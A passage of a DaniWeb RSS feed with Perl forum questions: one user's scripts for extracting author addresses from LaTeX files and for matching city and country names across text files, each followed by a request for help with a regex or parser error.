&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print STDERR &quot;test6......................\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\n/ /g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #$adr =~ s/\\/ /g;&nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/{//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/}//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\.$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\s+/ /g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\+\s*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print STDERR &quot;test4......................\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #Let's check multiple adresses in a row..<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #if ( $adr =~ /\$\^\S+\$/){<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  # These commands transform numbered separators into \instA. Further versions of the code could extract author-address relationship<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\$\^?\S+\s?\S*\$/\\instA/g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\+\s?\d\./\\instA/g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\+\s?\d\-/\\instA/g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\+\s?\S\)/\\instA/g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\+\s?\d\)/\\instA/g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print STDERR &quot;test3......................\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #These ones transform different usages of \and into \instA<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\+\s?and\s?/\\instA/g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/,?\sand\s?\\+/\\instA/g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\newline/\\instA/g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/;\s\\+/\\instA/g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/,\\+/\\instA/g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\medskip/\\instA/g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if ( $adr=~/(\\inst)/ ){&nbsp; # Separates multiple addresses linked by a \inst<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  my $pos = rindex($adr, &quot;\\inst&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  while ($pos &gt; 0){<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  my $resul = substr($adr,$pos+6);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $resul =~ s/,?\s*\\\*s*\\\*s*\\*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $resul =~ s/^\\,\s//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $resul =~ s/(email|E-mail|e-mail):?\s*[^\s]+//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $resul =~ s/[^\s]+\@[^\=]+//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $resul =~ s/\\S+$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $resul =~ s/\\\s\\[^=]+$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $resul =~ s/\\+\s?\[\\affilskip\]\s*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $resul =~ s/\,\s?$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $resul =~ s/\.$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $resul =~ s/\;$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $resul =~ s/\;\s+\S+\.\S+\.?\S*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #$resul =~ s/\\+\s+\S+\.\S+\.?\S*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $resul =~ s/\\+\s*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (length($resul) &gt; 10) {print LAT_LON_OUT_FILE &quot;$file_ID\t$file_cat\t$resul\n&quot;;}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr = substr($adr,0,$pos); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $pos = rindex($adr, &quot;\\inst&quot;, $pos+6);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (($pos == -1) and (length($adr) &gt; 10)) {&nbsp; #there is no \inst at the beginning. Print the remaining of the string and leave. <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $adr =~ s/(email|E-mail|e-mail):?\s*[^\s]+//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/[^\s]+\@[^\=]+//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\+\s?\[\\affilskip\]\s*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\S+$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\\s\\[^=]+$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\,\s?$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\.$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\;$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\;\s+\S+\.\S+\.?\S*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #$adr =~ s/\\+\s+\S+\.\S+\.?\S*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\+\s*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print LAT_LON_OUT_FILE &quot;$file_ID\t$file_cat\t$adr\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br />
<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/(email|E-mail|e-mail):?\s*[^\s]+//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/[^\s]+\@[^\=]+//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\S+$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\\s\\[^\=]+$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\+\s?\[\\affilskip\]\s*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\,\s?$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\.$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\;\s+\S+\.\S+\.?\S*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #$adr =~ s/\\+\s+\S+\.\S+\.?\S*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $adr =~ s/\\+\s*$//g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print LAT_LON_OUT_FILE &quot;$file_ID\t$file_cat\t$adr\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp;}<br />
<br />
close LAT_LON_OUT_FILE;</pre>But I am getting an error...like this:<br />
A \ Command I don't understand at /Applications/XAMPP/xamppfiles/lib/perl5/site_perl/5.10.0/LaTex/Parser.pm line 115.<br />
<br />
Can sumbody sugest what could be the problem and the solution to it,<br />
I am using XAMPP server, perl 5.10.1 and LaTex:: Parser module to do this. Thanks</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>ajay_p5</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread236610.html</guid>
		</item>
		<item>
			<title>Comparing a particular string present in two text files</title>
			<link>http://www.daniweb.com/forums/thread236450.html</link>
			<pubDate>Fri, 06 Nov 2009 02:41:13 GMT</pubDate>
			<description><![CDATA[Hi People 
 
I need to compare a particular line in a file with a particular string in the other file. I am attaching both the files for your reference.  
here is my code: 
  <div class="codeblock"> <div class="spaced"> <div style="float:right; margin-right:10px"> <a...]]></description>
			<content:encoded><![CDATA[<div>Hi People<br />
<br />
I need to compare a particular line in a file with a particular string in the other file. I am attaching both the files for your reference. <br />
here is my code:<br />
 <pre style="margin:20px; line-height:13px"> open (INFILE, &quot;$input&quot;) or die &quot;Couldn't open $input for reading: $!\n&quot;;<br />
&nbsp; while(&lt;INFILE&gt;)<br />
&nbsp;  {<br />
&nbsp; &nbsp; my $line= $_;<br />
&nbsp; &nbsp; $line=~tr/\n//d;<br />
&nbsp; &nbsp; my($city,$country,$lan,$lat) = (split(/\t/))[0,1,2,3];<br />
&nbsp; &nbsp; push(@aj1,&quot;$city&quot;);<br />
&nbsp; &nbsp; push(@aj2, &quot;$country&quot;);<br />
&nbsp; &nbsp; push(@aj3,&quot;$lan&quot;);<br />
&nbsp; &nbsp; push(@aj4,&quot;$lat&quot;);<br />
&nbsp;  }<br />
&nbsp;  close(INFILE);<br />
&nbsp;my $arr_size = $#aj1;<br />
open (OUTFILE, &quot;&gt;$output&quot;) or die &quot;Couldn't open $output for writing: $!\n&quot;;<br />
open (INFILE2, &quot;&lt;$input2&quot;) or die &quot;Couldn't open $input2 for reading: $!\n&quot;;<br />
&nbsp;  while(&lt;INFILE2&gt;)<br />
&nbsp;  {<br />
&nbsp; &nbsp; my $lines=$_;<br />
&nbsp; &nbsp; #$lines=~tr/\n//d;<br />
&nbsp; &nbsp; print&quot;$lines&quot;;<br />
&nbsp;  my($jass,$author,$add) = (split(/\|/,&quot;$lines&quot;))[0,1,2];<br />
&nbsp;  my $j=0;<br />
&nbsp; &nbsp; &nbsp;  for(my $i=0;$i&lt;=$arr_size;$i++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; my $country1=$aj2[$i];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; my $city1=$aj1[$i];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(($add=~m/$country1/) &amp;&amp; ($add=~m/$city1/))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if($j==0)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #print&quot;$j&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $j=$j+1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;$lines|&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;$aj1[$i]|&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;$aj2[$i]|&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;$aj3[$i]|&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;$aj4[$i]\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if ($j==0)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(my $k=0;$k&lt;=$arr_size;$k++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  my $countr=$aj2[$k];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if($add=~m/$countr/ &amp;&amp; $j!=1)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $j=$j+1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print OUTFILE&quot;$lines|&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;|&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;$aj2[$k]|&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;0|&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print OUTFILE&quot;0\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; &nbsp;  } <br />
&nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp;  }&nbsp;  <br />
&nbsp;close(INFILE2);<br />
&nbsp;close(OUTFILE);<br />
exit;</pre>Now what I want in the output file is that it should take the first line of the address file , print it like that and wherever it finds the matching city and country from the city_lan.txt file it shud print it afterwards sumwhat like this:<br />
1.1.2|1. Giorgio Brajnik	2. Marji Lines	|1. Dipartimento di Matematica e InformaticaUniversit&amp;agrave; di Udine	Udine	Italy	Italy 2. Dipartimento di Scienze StatisticheUniversit&amp;agrave; di Udine	Udine	Italy	33100	Italy |Udine|Italy|78|87 <br />
<br />
<br />
The problem is when i am printing $lines of input file 2 it is terminating at 2.3.3 and giving an error like this:<br />
Quantifier follows nothing in regex; marked by &lt;-- HERE in m/? &lt;-- HERE stanbul / at &quot;filename&quot;  line 39, &lt;INFILE2&gt; line 46, why am i not able to read the whole data .what is the problem..can sumbody help??</div>  <br /> <div style="padding:5px">     <fieldset class="fieldset"> <legend>Attached Files</legend> <table cellpadding="0" cellspacing="5" border="0"> <tr> <td><img class="inlineimg" src="http://www.daniweb.com/forums/images/attach/txt.gif" alt="File Type: txt" width="16" height="16" border="0" style="vertical-align:baseline" /></td> <td><a href="http://www.daniweb.com/forums/attachment.php?attachmentid=12465&amp;d=1257474974">address_out.txt</a> (78.8 KB)</td> </tr><tr> <td><img class="inlineimg" src="http://www.daniweb.com/forums/images/attach/txt.gif" alt="File Type: txt" width="16" height="16" border="0" style="vertical-align:baseline" /></td> <td><a href="http://www.daniweb.com/forums/attachment.php?attachmentid=12466&amp;d=1257475200">city_lan.txt</a> (7.2 KB)</td> </tr> </table> </fieldset>  </div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>ajay_p5</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread236450.html</guid>
		</item>
		<item>
			<title>Need help with configuring premade perl form script</title>
			<link>http://www.daniweb.com/forums/thread236327.html</link>
			<pubDate>Thu, 05 Nov 2009 17:17:10 GMT</pubDate>
			<description><![CDATA[Hi, 
 
